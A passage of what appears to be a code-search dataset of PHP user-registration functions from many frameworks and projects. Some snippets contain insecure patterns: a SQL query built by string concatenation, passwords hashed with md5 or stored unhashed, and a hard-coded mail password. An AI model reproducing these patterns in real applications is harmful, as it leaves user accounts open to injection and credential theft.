unsuccessful!',\n 'alert-class' => 'alert-danger'\n ));\n }",
"private function newUser()\n {\n return factory(User::class)->create([\n 'name' => 'John Doe',\n 'email' => '[email protected]',\n 'email_verified_at' => '2019-06-01 16:45:00',\n 'password' => Hash::make('test1234'),\n 'photo' => 'https://lorempixel.com/640/480/?65533',\n 'created_at' => '2019-06-01 16:45:00',\n 'updated_at' => '2019-06-01 16:45:00',\n 'deleted_at' => '2019-06-01 16:45:00',\n 'logged_in_at' => '2019-06-01 16:45:00',\n ]);\n }",
"public function createAction()\r\n {\r\n $user = new User($_POST);\r\n\r\n if ($user->save()) {\r\n\t\t\t\r\n\t\t\tsession_regenerate_id(true);\r\n\r\n\t\t\t$_SESSION['user_id'] = User::getIdSavedUser($_POST['email']);\r\n\t\t\t\r\n\t\t\tIncome::saveDefaultIncomes($_SESSION['user_id']);\r\n\t\t\tExpense::saveDefaultExpenses($_SESSION['user_id']);\r\n\t\t\tPaymentMethod::saveDefaultPaymentMethods($_SESSION['user_id']);\r\n\t\t\t\r\n\t\t\t$user->sendActivationEmail();\r\n\r\n $this->redirect('/signup/success');\r\n\r\n } else {\r\n\r\n View::renderTemplate('Signup/new.html', [\r\n 'user' => $user\r\n ]);\r\n\r\n }\r\n }",
"public function create() {\n\n //Create validator for User registration form with all data sended. Load from model\n $validator = Validator::make(Input::all(), User::$rules_validator);\n \n //Only if request is send by form (post) procces to create user\n if (Request::isMethod('post')) {\n \n //Check fields data sended\n if ($validator->fails()) {\n //Redirecto to form with error\n $messages = $validator->messages()->all(\"<li>:message</li>\");\n $error = \"<ul>\". implode(\"\", $messages).\"</ul>\";\n return Redirect::to('/user/register')->with('error', $error)->withInput(Input::all());\n }\n \n //Pass validator, proccess to create User\n if( $user = User::_save( Input::all() ) ){\n //Auto login user created, is same that attemd method\n Auth::login($user);\n //Redirecto to profile\n return Redirect::intended(action('UserController@profile', array('username' => Auth::user()->username )))->with('notice', trans(\"app.welcome_message\", array(\"user\"=>Auth::user()->username) ));\n }else{\n //Error to try create User, redirecto to Registration form\n return Redirect::to('/user/register')->with('error', trans(\"app.error_creating\"))->withInput(Input::all());\n }\n }\n \n //Return to view\n return View::make('user.register');\n }",
"public function create()\n\t{\n\t\tif (!isset($_POST) || empty($_POST))\n\t\t{\n\t\t\theader(\"Location: /myrecipe/users/registry\");\n\t\t\texit;\n\t\t}\n\t\t// TODO need to validate data\n\t\t$data = array('username' => $_POST['username'], 'password' => $_POST['password'], 'cpassword' => $_POST['cpassword'], 'email' => $_POST['email']);\n\t\t// validate the input data\n\t\t$errorArray = User::validates($data);\n\t\tif (count($errorArray))\n\t\t{\n\t\t\t// store errors in session and redirect\n\t\t\t$_SESSION['user'] = $data;\n\t\t\t$_SESSION['user']['errors'] = $errorArray;\n\t\t\theader(\"Location: /myrecipe/users/registry\");\n\t\t\texit;\n\t\t}\n\t\t// create a new user, assume all new users are not staff\n\t\t$values = array('username'=>$_POST['username'],'password'=>$_POST['password'],'email'=>$_POST['email'],'user_type'=>'1');\n\t\t$id = User::createUser($values);\n\t\t// log the user in\n\t\t$_SESSION['user']['id'] = $id;\n\t\t$_SESSION['user']['name'] = $_POST['username'];\n\t\t$_SESSION['user']['type'] = '1';\n\t\techo \"id = \" . $id;\n\t\theader(\"Location: /myrecipe/users/\" . $id);\n\t\texit;\n\t}",
"public function registerNewUser()\n\t{\n\t\t# make the call to the API\n\t\t$response = App::make('ApiClient')->post('register', Input::all());\n\n\t\t# if we successfully register a new user\n\t\tif(isset($response['success']))\n\t\t{\n\t\t\tUser::startSession($response['success']['data']['user']);\n\n\t\t\t# grab the data array from the response\n\t\t\tSession::flash('success', $response['success']['data']);\n\n\t\t\t# show the user profile screen\n\t\t\treturn Redirect::route('profile');\n\t\t}\n\t\t# there was a problem registering the user\n\t\telse \n\t\t{\n\t\t\t# save the API response to some flash data\n\t\t\tSession::flash('registration-errors', getErrors($response));\n\n\t\t\t# also flash the input so we can replay it out onto the reg form again\n\t\t\tInput::flash();\n\n\t\t\t# ... and show the sign up form again\n\t\t\treturn Redirect::back();\n\t\t}\n\t}",
"public function create(array $data)\n {\n $user = User::isCurrentUser($data);\n\n // If user doesn't exist, attempt to create.\n if (!$user) {\n $user = new User($data);\n\n $validator = $this->validation->make($user->toArray(), [\n 'phone' => 'unique:users',\n 'email' => 'unique:users',\n ]);\n\n if($validator->fails()) {\n throw new ValidationException($validator);\n }\n\n $user->country_code = get_country_code();\n $user->northstar_id = $this->northstar->register($user);\n\n $user->save();\n\n event(new UserRegistered($user));\n }\n\n return $user;\n }",
"private function createUser()\n {\n $sl = $this->getServiceManager();\n $userService = $sl->get(\"zfcuser_user_service\");\n $randomness = \"mockuser_\".mt_rand();\n $data = array(\n \"username\" => \"{$randomness}\",\n \"password\" => \"password\",\n \"passwordVerify\" => \"password\",\n \"display_name\" => \"MOCKUSER\",\n \"email\" => \"{$randomness}@google.com\"\n );\n $user = $userService->register($data);\n\n return $user;\n }",
"public function create()\n {\n return $this->userService->create();\n }",
"public function postCreate() {\n \t$validator = Validator::make(Input::all(), User::$rules);\n\n \t// i made a user with [email protected], goodbye\n \tif ($validator->passes()) {\n \t\t// validation has passed, save user in DB\n \t\t$user = new User;\n \t\t$user->first_name = Input::get('first_name');\n \t\t$user->last_name = Input::get('last_name');\n \t\t$user->email = Input::get('email');\n \t\t$user->password = Hash::make(Input::get('password'));\n \t\t$user->save();\n\n \t\treturn Redirect::to('users/login')->with('message', '<div class=\"alert alert-success\" role=\"alert\">Thanks for registering!</div>');\n \t}\n \telse {\n \t\t// validation has failed, display error messages\n \t\treturn Redirect::to('users/register')->with('message', '<div class=\"alert alert-warning\" role=\"alert\">The following errors occurred</div>')->withErrors($validator)->withInput();\n \t}\n }",
"public function createUser()\r\n {\r\n // use sign up in AuthController\r\n }",
"public function createUser()\r\n {\r\n // use sign up in AuthController\r\n }",
"public function newRegistration() {\n $this->registerModel->getUserRegistrationInput();\n $this->registerView->setUsernameValue($this->registerView->getUsername());\n $this->registerModel->validateRegisterInputIfSubmitted();\n if ($this->registerModel->isValidationOk()) {\n $this->registerModel->hashPassword();\n $this->registerModel->saveUserToDatabase();\n $this->loginView->setUsernameValue($this->registerView->getUsername());\n $this->loginView->setLoginMessage(\"Registered new user.\");\n $this->layoutView->render(false, $this->loginView);\n } else {\n $this->layoutView->render(false, $this->registerView);\n }\n \n }",
"function register_new_user()\n{\n // alidate the data submited by our user\n $result = _validation([\n 'name' => 'required|string|max:255',\n 'email' => 'required|string|email|unique:users',\n 'password' => 'required|string|equals:password_confirmation'\n ]);\n\n // Get the validated data.\n $validated = $result['validated'];\n\n // _dump(bcrypt_hasher_make($validated['password']), true);\n\n // Create the user\n $user = create_new_user(\n $validated['name'],\n $validated['email'],\n bcrypt_hasher_make($validated['password']) // Always hash your users password\n );\n\n // Redirect back if the user was not created.\n _redirect_back_if($user === false, ['errors' => [\n 'Unable to register user at the moment.'\n ]]);\n\n // log the user in\n login_user($user);\n}",
"public function create()\n {\n $request = (object) $this->request->getPost();\n\n if (! $this->validate(static::rules())) {\n return redirect()->back()->withInput()->with('errors', $this->validator->getErrors());\n }\n\n $user = static::createUser($request);\n\n Auth::login($user);\n\n // Automatic trigger send verify email if user\n // instanceof VerifyEmailInterface.\n if ($user instanceof VerifyEmailInterface) {\n Events::trigger(VerifyEmailInterface::class, $user->email);\n }\n\n return redirect(config('Auth')->home);\n }",
"public function createUser()\n {\n }",
"private static function create()\n {\n getDb()->putUser(1, self::getDefaultAttributes());\n }",
"static private function createNewUserFromPost() {\r\n\t\t$errors = array();\r\n\r\n\t\t$activationHash = (System::isAtLocalhost()) ? '' : self::getRandomHash();\r\n\t\t$newAccountId = DB::getInstance()->insert('account',\r\n\t\t\t\tarray('username', 'name', 'mail', 'password', 'registerdate', 'activation_hash'),\r\n\t\t\t\tarray($_POST['new_username'], $_POST['name'], $_POST['email'], self::passwordToHash($_POST['password']), time(), $activationHash));\r\n\r\n\t\tself::$IS_ON_REGISTER_PROCESS = true;\r\n\t\tself::$NEW_REGISTERED_ID = $newAccountId;\r\n\r\n\t\tif ($newAccountId === false)\r\n\t\t\t$errors[] = __('There went something wrong. Please contact the administrator.');\r\n\t\telse {\r\n\t\t\tself::importEmptyValuesFor($newAccountId);\r\n\t\t\tself::setSpecialConfigValuesFor($newAccountId);\r\n\r\n\t\t\tif ($activationHash != '')\r\n\t\t\t\tself::setAndSendActivationKeyFor($newAccountId, $errors);\r\n\t\t}\r\n\r\n\t\tself::$IS_ON_REGISTER_PROCESS = false;\r\n\t\tself::$NEW_REGISTERED_ID = -1;\r\n\r\n\t\treturn $errors;\r\n\t}",
"protected function create(array $data)\n {\n $user = $this->userService->createUser($data);\n if(!$user) \n return redirect()->back()->with([\"status\" => \"error\", \"msg\"=>\"An Error Occured While Creating a user\"]);\n $this->capsuleService->createParty(PartyDto::fromUser($user)); // create a party on capsule crm for representing registered user\n $this->capsuleService->notifySalesHeadOfNewUserSignup($user); // Send a notification to app sales head on user signup\n return $user;\n }",
"protected function create(array $data)\n {\n $user = new User();\n $reference = str_random(30).time();\n// $user->generateReference();\n\n $user = $user->create([\n 'firstname' => $data['firstname'],\n 'lastname' => $data['lastname'],\n 'phone' => $data['phone'],\n 'gender' => $data['gender'],\n 'email' => $data['email'],\n 'password' => bcrypt($data['password']),\n 'activation_code' => $reference\n// 'avatar' => 'public/defaults/avatars/default.png'\n ]);\n\n $user->notify((new sendUserActivation($user))->delay(now()->addSeconds(2)));\n Session::flash('message', 'Welcome. Please complete your profile to continue');\n return $user;\n }",
"public function createUser()\n {\n $class = $this->userClass;\n $user = new $class;\n return $user;\n }",
"function new_user($firstName,$lastName,$email,$password){\t\n $salt = generate_salt();\n $encPassword = encrypt_password($password,$salt);\n\n //$user = create_user_object($firstName,$lastName,$email,$encPassword,$salt,$userType);\n save_user_info($firstName,$lastName,$email,$encPassword,$salt);\n \n return true;\n}",
"private function register(): void\n {\n $user = User::factory()->create();\n $this->actingAs($user);\n }",
"protected function createUser ()\n {\n /* Method of the UserFactory class */\n $this->_objUser = UserFactory::createUser(ucfirst($_SESSION[\"userType\"])); \n $this->_objUser->setFirstName($_SESSION[\"emailID\"]);\n }",
"public function createUserAction() {\n $this->authService->createUser();\n die();\n }",
"protected function create(array $data)\n {\n $user = User::create([\n 'uuid' => Uuid::generate(5,$data['email'], Uuid::NS_DNS),\n 'firstname' => $data['firstname'],\n 'lastname' => $data['lastname'],\n 'email' => $data['email'],\n 'password' => bcrypt($data['password']),\n ]);\n\n $userObj = User::find($user->id);\n\n if(Event::fire(new WelcomeUser($userObj)))\n {\n return $user;\n }else\n {\n //Redirect to error page and log in the incident\n }\n\n }",
"public function register() {\n\t\tif ($this->Session->check('Auth.User')) {\n\t\t\t$this->redirect('/');\n\t\t}\n\t\t\n\t\tif ($this->request->is('post')) {\n\t\t\t$this->User->create();\n\t\t\t$data = $this->request->data;\n\t\t\tif ($this->User->save($data)) {\n\t\t\t\t$this->Session->setFlash(\"User has been created.\", 'default', array(), 'register');\n\t\t\t\t$this->redirect('/login');\n\t\t\t} else {\n\t\t\t\t$this->Session->setFlash(\"This user couldn't created. Please try again.\");\n\t\t\t}\n\t\t} else\n\t\t\t$this->Session->delete('Message.register');\n\t}",
"protected function create(array $data)\n {\n\n // incase the user does not enter the password and exits, then \n // we give give them to re register into the website, so \n // a new email is sent for verification and the old token is regenerated\n if($user = User::where('email', '=', $data['email'])->first()){\n\n $user->verification_token = str_random(30);\n $user->status = User::NOT_VERIFIED;\n $user->save();\n\n return $user;\n }\n\n return User::create([\n 'email' => $data['email'],\n 'name' => $data['name'],\n 'verification_token' => str_random(30)\n ]);\n }",
"public function handle_create(RegisterRequest $request)\n {\n $request->validated();\n\n $user = new User;\n\n $user->fullname = $request->fullname;\n $user->username = $request->username;\n $user->email = $request->email;\n\n $user->phone = $request->phone;\n $user->address = $request->address;\n $user->password = Hash::make($request->password);\n\n\n if (\n isset($request->file_img)\n &&\n ($request->file_img->getMimeType() == 'image/png' ||\n $request->file_img->getMimeType() == 'image/jpeg' ||\n $request->file_img->getMimeType() == 'image/jpg')\n && $request->file_img->getSize() <= 5120\n ) {\n $extension = $request->file('file_img')->guessClientExtension();\n $new_name_img = time() . '-' . $request->username . '.' . $extension;\n\n // move image to public images folder\n $request->file_img->move(public_path('images', $new_name_img));\n\n $user->image = $new_name_img;\n }\n $user->create_by = Auth::guard('admin')->user()->username;\n\n $save = $user->save();\n if ($save) {\n return redirect()->route('admin.showuser');\n } else {\n return back()->with('fail', 'an error occurred!');\n }\n }",
"public function user_signup_new(Request $request)\n {\n $request->validate([\n 'first_name' => 'required',\n 'email' => 'required|string|unique:users',\n 'other_mobile_number' => 'required|integer|unique:users',\n 'selectType' => 'required',\n 'agree_check' => 'required|boolean',\n 'password' => 'required|string|confirmed'\n ]);\n\n $token = getenv(\"TWILIO_AUTH_TOKEN\");\n $twilio_sid = getenv(\"TWILIO_SID\");\n $twilio_verify_sid = getenv(\"TWILIO_VERIFY_SID\");\n $twilio = new Client($twilio_sid, $token);\n $twilio->verify->v2->services($twilio_verify_sid)\n ->verifications\n ->create(\"+91\".$request->other_mobile_number, \"sms\");\n\n $user = new User([\n 'name' => $request->first_name,\n 'last_name' => $request->last_name,\n 'email' => $request->email,\n 'usertype' => 3,\n 'userSelect_type' => $request->selectType,\n 'other_mobile_number' => $request->other_mobile_number,\n 'password' => bcrypt($request->password)\n ]);\n\n $user->save();\n eventtracker::create(['symbol_code' => '1', 'event' => $request->email.' created a new account as a User']);\n\n return response()->json([\n 'data' => $user,\n 'message' => 'Successfully created user!'\n ], 201);\n }",
"public static function create() {\n\t\tif (empty(Validator::$errors)) {\n\t\t\tself::insert(self::$tablename, array(\"email\"=>self::$email, \"password_hash\"=>self::$password_hash));\n\t\t\tSession::setFlash(\"alert-success\",\"You have successfully signed up!\");\n\t\t} else {\n\t\t\tSession::setFlash(\"alert-danger\", self::display(Validator::$errors));\n\t\t\tValidator::$errors = [];\n\t\t}\n\t}",
"public function register() {\n\t\tif ($this -> Auth -> loggedIn()) {\n\t\t\t$this -> Session -> setFlash('You are already registered.');\n\t\t\t$this -> redirect($this -> referer());\n\t\t}\n\t\tif ($this -> request -> is('post')) {\n\t\t\t$this -> User -> create();\n\t\t\t$data = $this -> request -> data;\n\t\t\t$data['User']['public_key'] = uniqid();\n\t\t\t$data['User']['role'] = \"user\";\n\t\t\t$data['User']['api_key'] = md5(microtime().rand());\n\t\t\tif ($this -> User -> save($data)) {\n\t\t\t\t$this -> Session -> setFlash(__('You have succesfully registered. Now you can login.'));\n\t\t\t\t$this -> redirect('/users/login');\n\t\t\t} else {\n\t\t\t\t$this -> Session -> setFlash(__('The user could not be saved. Please, try again.'));\n\t\t\t}\n\t\t}\n\n\t\t$this -> set('title_for_layout', 'User Registration');\n\t}",
"protected function create()\n {\n// dd(request());\n // create new user in database\n $newUser = User::create([\n 'name' => \\request('name'),\n 'email' => \\request('email'),\n 'student_id' => \\request('student_id'),\n 'phone' => \\request('phone'),\n 'password' => bcrypt(\\request('password')),\n 'remember_token' => \\request('_token'),\n ]);\n\n\n //login the new user\n\n auth()->login($newUser);\n\n }",
"private static function register() {\n if ( !self::validatePost() ) {\n return;\n }\n\n if ( !self::validEmail($_POST['email']) ) {\n self::setError('E-Mail Adresse ist nicht gültig!<br>');\n return;\n }\n \n $_POST['email'] = strtolower($_POST['email']);\n \n $password = Helper::hash($_POST['password'].$_POST['email']);\n \n $verified = md5($_POST['email'].$password.microtime(true));\n \n $result = Database::createUser($_POST['email'],$password,$verified);\n \n if ( $result === false || !is_numeric($result) ) {\n return;\n }\n \n $_SESSION['user']['id'] = $result;\n $_SESSION['user']['email'] = $_POST['email'];\n $_SESSION['user']['verified'] = $verified;\n $_SESSION['loggedin'] = true;\n self::$loggedin = true;\n \n self::registerMail($verified);\n }",
"public function store()\n {\n // Validate form\n $validator = User::registrationValidation();\n $this->validate(request(), $validator);\n\n // Register user\n $registrationParams = User::registrationParams();\n $user = User::create(request($registrationParams));\n\n // Log in user\n User::loginUser($user);\n\n // Redirect to home page\n return redirect('/');\n }",
"function createUser()\n{\n $userCheck = UsersQuery::create()->findOneByUsername($_POST['username']);\n if ($userCheck == \"\") {\n // next add user to db\n $user = new Users();\n $user->setUsername($_POST['username']);\n $user->setPassword($_POST['password']);\n $user->setName($_POST['name']);\n $user->setEmail($_POST['email']);\n $user->setStatus(\"active\");\n $user->setPicture(\"none\");\n $user->setCreated(time());\n $user->setModified(time());\n\n $user->save();\n\n if ($user != null) {\n echo \"user added successfully\";\n }\n } else {\n echo \"user already registered\";\n }\n}",
"private function createNewUser():User\n {\n $entityManager = $this->getDoctrine()->getManager();\n\n //create user\n $user = new User();\n $user->setEmail($this->request->request->get('email'));\n $user->setPassword('');\n $entityManager->persist($user);\n $entityManager->flush();\n //create user\n\n //encode user password\n $user->setPassword($user->encodePassword($this->request->request->get('password')));\n $entityManager->persist($user);\n $entityManager->flush();\n //encode user password\n return $user;\n }",
"private function create()\n {\n return $this->db->putUser($this->getDefaultAttributes());\n }",
"public function create(array $input)\n {\n Validator::make($input, [\n 'name' => ['required', 'string', 'max:255'],\n 'email' => ['required', 'string', 'email', 'max:255', 'unique:users'],\n 'password' => $this->passwordRules(),\n 'terms' => Jetstream::hasTermsAndPrivacyPolicyFeature() ? ['required', 'accepted'] : '',\n ])->validate();\n\n $user = User::create([\n 'name' => $input['name'],\n 'email' => $input['email'],\n 'password' => Hash::make($input['password']),\n 'timezone_id'=> Timezone::getTimezoneId($input['timezone'] ?? null),\n 'role_id'=> $input['role_id'] ?? Role::getDefaultRoleId()\n ]);\n\n $user->notify(new MyAccountRegistration);\n\n // todo: will require a change on role implementation\n User::where('id', '!=', $user->id)->get()->map(function ($admin) use ($user) {\n $admin->notify(new NewUserRegistration($user));\n });\n\n return $user;\n }",
"public function newUser($request)\r\n {\r\n /*\r\n * As before we set $params1 'Username'. We need this to check if user exist in database beacuse we don't allow\r\n * two user in database with the same username.\r\n */\r\n $params1 = [\r\n 'Username' => $request['username']\r\n ];\r\n if ($this->existUser($params1) == True) {\r\n /*\r\n * If in the database exits user with the same username then you return false (user must change username)\r\n */\r\n\r\n return False;\r\n } else {\r\n\r\n /*\r\n * Next step is creating a valid activation hash code. We need this for security (in URL you dont want to show UserID\r\n * beacuse in this case attacker has more information about your database)\r\n * Each of users in database has unique activation hash code. Activation hash code we need for activation account and\r\n * reseting password.\r\n *\r\n * Now,follow algorithm for creating unique activation hash code.\r\n */\r\n while (True) {\r\n $params2 = [\r\n 'Activation' => password_hash(rand(), PASSWORD_DEFAULT)\r\n ];\r\n\r\n if ($this->existUser($params2) != True) {\r\n break;\r\n }\r\n }\r\n\r\n /*\r\n * Next step is set params which need to create new user into database.\r\n */\r\n\r\n $params3 = [\r\n 'Username' => $request['username'],\r\n 'Email' => $request['email'],\r\n 'Password' => password_hash($request['password'], PASSWORD_DEFAULT),\r\n 'IsDeleted' => '0',\r\n 'Registration' => (new DateTime('now'))->format('Y-m-d h:s'),\r\n 'Activation' => $params2['Activation']\r\n ];\r\n\r\n $userID = $this->create();\r\n\r\n /*\r\n * Creating link which is send to user mail at registration for activating his account.\r\n */\r\n $link = \"http://www.mdtohtml.com/index.php?activation=\" . $params3['Activation'];\r\n\r\n /*\r\n * Inserting new user in database\r\n */\r\n $this->update($userID, $params3);\r\n\r\n /*\r\n * Now we have to prepare data to send activation mail to user (mail).\r\n */\r\n\r\n $data = [\r\n 'email' => $request['email'],\r\n 'title' => 'Registration support',\r\n 'body' => \"Hello!\\n\\nClick on below link to confirm your registration.\\n\\n$link\",\r\n 'subject' => 'Confirm password',\r\n 'user' => $request['username'],\r\n 'link' => $link,\r\n 'username' => '[email protected]',\r\n 'password' => 'preskok123'\r\n\r\n ];\r\n\r\n /*\r\n * At the end sending activating mail to user.\r\n */\r\n\r\n $this->send_mail($data);\r\n return True;\r\n }\r\n\r\n }",
"public function registerUser()\n {\n $request = new Request();\n\n $email = $request->input('email');\n $password = $request->input('password');\n $password_repeat = $request->input('password_repeat');\n\n\n // Check email\n if (!$email) {\n $this->showRegisterForm(['Please enter email']);\n }\n // Check password\n if(!$password){\n $this->showRegisterForm(['Please enter password']);\n }\n if (!$password || !$password_repeat || $password != $password_repeat) {\n $this->showRegisterForm(['Passwords do not match']);\n }\n\n // Check user exist\n if ($this->getUser($email)) {\n $this->showRegisterForm(['User already isset']);\n }\n\n // Save user to DB\n $user = new User();\n $user->email = $email;\n $user->password = md5($password);\n $user->rights = 20;\n\n // Check save process\n if (!$user->save()) {\n $this->showRegisterForm(['Something goes wrong']);\n }\n\n // Redirect to endpoint\n header(\"Location: \" . self::ENDPOINTS['success_register']);\n }",
"function createUser(){\n\t\t\tglobal $db;\n\t\t\tglobal $json;\n\t\t\t\n\t\t\t//Check if username meets minimum requirements\n\t\t\tif($this->username == \"\" || $this->username == null || strlen($this->username) < 6){\n\t\t\t\t$json->invalidMinimumRequirements(\"Username\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse{\n\t\t\t//Check if username already exists\n\t\t\t\tif($db->query('SELECT * FROM user WHERE Username = \"'.$this->username.'\"')->rowCount() > 0){\n\t\t\t\t\t$json->exists(\"Username\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t//Check if password meets minimum requirements\n\t\t\tif($this->password == \"\" || $this->password == null || strlen($this->password) < 6){\n\t\t\t\t$json->invalidMinimumRequirements(\"Password\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$passHash = generatePassword($this->password);\n\t\t\t\t$this->password = $passHash;\n\t\t\t\t$apiHash = generateApiKey($this->username.\"\".date('Y-m-d'));\n\t\t\t}\n\t\t\t\n\t\t\t//Check if admin is empty or invalid, if so make user non-admin\n\t\t\tif($this->admin == \"\" || $this->admin == null || $this->admin < 0)\n\t\t\t\t$this->admin = 0;\n\t\t\t\n\t\t\tif($this->subject == \"\" || $this->subject == null || $this->subject < 0)\n\t\t\t\t$this->subject = 0;\n\t\t\t\t\n\t\t\t$insert = $db->prepare('INSERT INTO user VALUES (DEFAULT, :username, :password, :subject, :admin, :api)');\n\t\t\t$insert->bindParam(':username', $this->username);\n\t\t\t$insert->bindParam(':password', $this->password);\n\t\t\t$insert->bindParam(':subject', $this->subject);\n\t\t\t$insert->bindParam(':admin', $this->admin);\n\t\t\t$insert->bindParam(':api', $apiHash);\n\t\t\t\n\t\t\tif($insert->execute()){\n\t\t\t\t$json->created(\"User\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$json->server();\n\t\t\t\treturn;\n\t\t\t}\n\t\t}",
"protected function create(array $data)\n {\n $user = User::create([\n 'name' => $data['name'],\n 'email' => $data['email'],\n 'password' => Hash::make($data['password']),\n 'verifyToken' => Str::random(40)\n ]);\n\n $thisUser = User::findorFail($user->id);\n $this->sendEmail($thisUser);\n \n Session::flash('status','Registered! but verify your email to active your account');\n\n return $user;\n\n }",
"public function newUser() {\n $this->checkValidUser();\n\n $this->db->sql = 'INSERT INTO '.$this->db->dbTbl['users'].' (username, salt, hash) VALUES (:username, :salt, :hash)';\n\n $salt = $this->getNewSalt();\n\n $res = $this->db->execute(array(\n ':username' => $this->getData('username'),\n ':salt' => $salt,\n ':hash' => md5($salt . $this->getData('password'))\n ));\n\n if($res === false) {\n $this->output = array(\n 'success' => false,\n 'key' => 'xxT5r'\n );\n } else {\n $this->output = array(\n 'success' => true,\n 'key' => 'dU4r5'\n );\n }\n\n $this->renderOutput();\n }",
"public function createUser () {\n syslog( LOG_INFO, 'Create a Lineberty User \\n' );\n\n $url = '/users';\n\n return $this->runRequest($url, 'POST', null);\n }",
"public function test_user_created()\n {\n $this->wrongCredentials = false;\n $credentials = self::DEFAULT_CREDENTIALS;\n $user = $this->registerService->registerUser($credentials);\n $this->assertInstanceOf(User::class, $user);\n $this->assertEquals($credentials['email'], $user->email);\n $this->assertEquals($credentials['name'], $user->name);\n\n }",
"public function create_user()\n\t{\n\t\tif (!$this->ion_auth->logged_in())\n\t\t{\n\t\t\t// redirect them to the login page\n\t\t\tredirect('/admin/login', 'refresh');\n\t\t}\n\t\t$this->data['title'] = $this->lang->line('create_user_heading');\n\n\t\t//See the ion_auth config to check if allow_user_registration is TRUE\n\t\tif( ! $this->config->item('allow_user_registration', 'ion_auth')){\n\n\t\t\tif (!$this->ion_auth->logged_in() || !$this->ion_auth->is_admin())\n\t\t\t{\n\t\t\t\tredirect('/admin', 'refresh');\n\t\t\t}\n\n\t\t}\n\n\n\t\t$tables = $this->config->item('tables', 'ion_auth');\n\t\t$identity_column = $this->config->item('identity', 'ion_auth');\n\t\t$this->data['identity_column'] = $identity_column;\n\n\t\t// validate form input\n\t\t$this->form_validation->set_rules('first_name', $this->lang->line('create_user_validation_fname_label'), 'trim|required');\n\t\t$this->form_validation->set_rules('last_name', $this->lang->line('create_user_validation_lname_label'), 'trim|required');\n\t\tif ($identity_column !== 'email')\n\t\t{\n\t\t\t$this->form_validation->set_rules('identity', $this->lang->line('create_user_validation_identity_label'), 'trim|required|is_unique[' . $tables['users'] . '.' . $identity_column . ']');\n\t\t\t$this->form_validation->set_rules('email', $this->lang->line('create_user_validation_email_label'), 'trim|required|valid_email');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->form_validation->set_rules('email', $this->lang->line('create_user_validation_email_label'), 'trim|required|valid_email|is_unique[' . $tables['users'] . '.email]');\n\t\t}\n\t\t$this->form_validation->set_rules('phone', $this->lang->line('create_user_validation_phone_label'), 'trim');\n\t\t$this->form_validation->set_rules('company', $this->lang->line('create_user_validation_company_label'), 'trim');\n\t\t$this->form_validation->set_rules('password', $this->lang->line('create_user_validation_password_label'), 'required|min_length[' . $this->config->item('min_password_length', 'ion_auth') . ']|max_length[' . $this->config->item('max_password_length', 'ion_auth') . ']|matches[password_confirm]');\n\t\t$this->form_validation->set_rules('password_confirm', $this->lang->line('create_user_validation_password_confirm_label'), 'required');\n\n\t\tif ($this->form_validation->run() === TRUE)\n\t\t{\n\t\t\t$email = strtolower($this->input->post('email'));\n\t\t\t$identity = ($identity_column === 'email') ? $email : $this->input->post('identity');\n\t\t\t$password = $this->input->post('password');\n\n\t\t\t$additional_data = array(\n\t\t\t\t'first_name' => $this->input->post('first_name'),\n\t\t\t\t'last_name' => $this->input->post('last_name'),\n\t\t\t\t'company' => $this->input->post('company'),\n\t\t\t\t'phone' => $this->input->post('phone'),\n\t\t\t);\n\t\t}\n\t\tif ($this->form_validation->run() === TRUE && $this->ion_auth->register($identity, $password, $email, $additional_data))\n\t\t{\n\t\t\t// check to see if we are creating the user\n\t\t\t// redirect them back to the admin page\n\t\t\t$this->session->set_flashdata('message', $this->ion_auth->messages());\n\t\t\tredirect(\"auth\", 'refresh');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// display the create user form\n\t\t\t// set the flash data error message if there is one\n\t\t\t$this->data['message'] = (validation_errors() ? validation_errors() : ($this->ion_auth->errors() ? $this->ion_auth->errors() : $this->session->flashdata('message')));\n\n\t\t\t$this->data['first_name'] = array(\n\t\t\t\t'name' => 'first_name',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'id' => 'first_name',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => $this->form_validation->set_value('first_name'),\n\t\t\t);\n\t\t\t$this->data['last_name'] = array(\n\t\t\t\t'name' => 'last_name',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'id' => 'last_name',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => $this->form_validation->set_value('last_name'),\n\t\t\t);\n\t\t\t$this->data['identity'] = array(\n\t\t\t\t'name' => 'identity',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'id' => 'identity',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => $this->form_validation->set_value('identity'),\n\t\t\t);\n\t\t\t$this->data['email'] = array(\n\t\t\t\t'name' => 'email',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'id' => 'email',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => $this->form_validation->set_value('email'),\n\t\t\t);\n\t\t\t$this->data['company'] = array(\n\t\t\t\t'name' => 'company',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'id' => 'company',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => $this->form_validation->set_value('company'),\n\t\t\t);\n\t\t\t$this->data['phone'] = array(\n\t\t\t\t'name' => 'phone',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'id' => 'phone',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => $this->form_validation->set_value('phone'),\n\t\t\t);\n\t\t\t$this->data['password'] = array(\n\t\t\t\t'name' => 'password',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'id' => 'password',\n\t\t\t\t'type' => 'password',\n\t\t\t\t'value' => $this->form_validation->set_value('password'),\n\t\t\t);\n\t\t\t$this->data['password_confirm'] = array(\n\t\t\t\t'name' => 'password_confirm',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'id' => 'password_confirm',\n\t\t\t\t'type' => 'password',\n\t\t\t\t'value' => $this->form_validation->set_value('password_confirm'),\n\t\t\t);\n\n\n\t\t\t$this->load->view('templates/header',$this->data);\n\t\t\t$this->load->view('/admin/create_user');\n\t\t\t$this->load->view('templates/footer');\n\t\t}\n\t}",
